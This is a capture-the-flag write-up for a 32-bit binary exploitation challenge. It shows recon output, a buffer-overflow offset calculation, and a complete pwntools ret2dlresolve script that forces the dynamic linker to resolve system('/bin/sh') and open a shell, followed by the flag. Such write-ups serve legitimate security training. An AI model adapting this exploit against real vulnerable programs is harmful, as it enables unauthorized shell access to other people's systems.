Binary Exploitation medium
Feather Maker
V1T CTF · 2025 · Aug 10, 2025
32-bit ret2dlresolve — Partial RELRO, NX on, no libc leak, only read@plt. Force the linker to resolve system("/bin/sh").
Recon
$ file chall
chall: ELF 32-bit LSB executable, dynamically linked, not stripped
$ checksec --file=./chall
RELRO: Partial RELRO Canary: No NX: enabled PIE: No PIE
Decompiled vuln:
void vuln(void) {
char buf[304]; // 0x130
read(0, buf, 0x15e); // 350 bytes → overflow
return;
}
Only useful import: read. No system, no puts, no leak. Classic
textbook ret2dlresolve.
Offset
304 buf + 4 saved EBP + 4 saved EIP → 0x138.
Strategy
- Overflow. Use
read@pltto write the fake resolver structures into.bss. - Trigger the dynamic linker resolver with
"system"+"/bin/sh". - Second send delivers the actual dlresolve payload.
Exploit
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./chall')
context.arch = 'i386'
context.os = 'linux'
HOST, PORT = 'chall.v1t.site', 30212
def start():
return remote(HOST, PORT) if args.REMOTE else process(elf.path)
p = start()
offset = 0x138
bss_addr = elf.bss() + 0x500
dlresolve = Ret2dlresolvePayload(
elf,
symbol='system',
args=['/bin/sh'],
data_addr=bss_addr,
)
rop = ROP(elf)
rop.call(elf.plt['read'], [0, bss_addr, len(dlresolve.payload)])
rop.ret2dlresolve(dlresolve)
payload = flat(b'A' * offset, rop.chain())
p.send(payload)
p.send(dlresolve.payload)
p.interactive()
Flag
V1T{f34th3r_r3dr1r_3a5f1b52344f42ccd459c8aa13487591}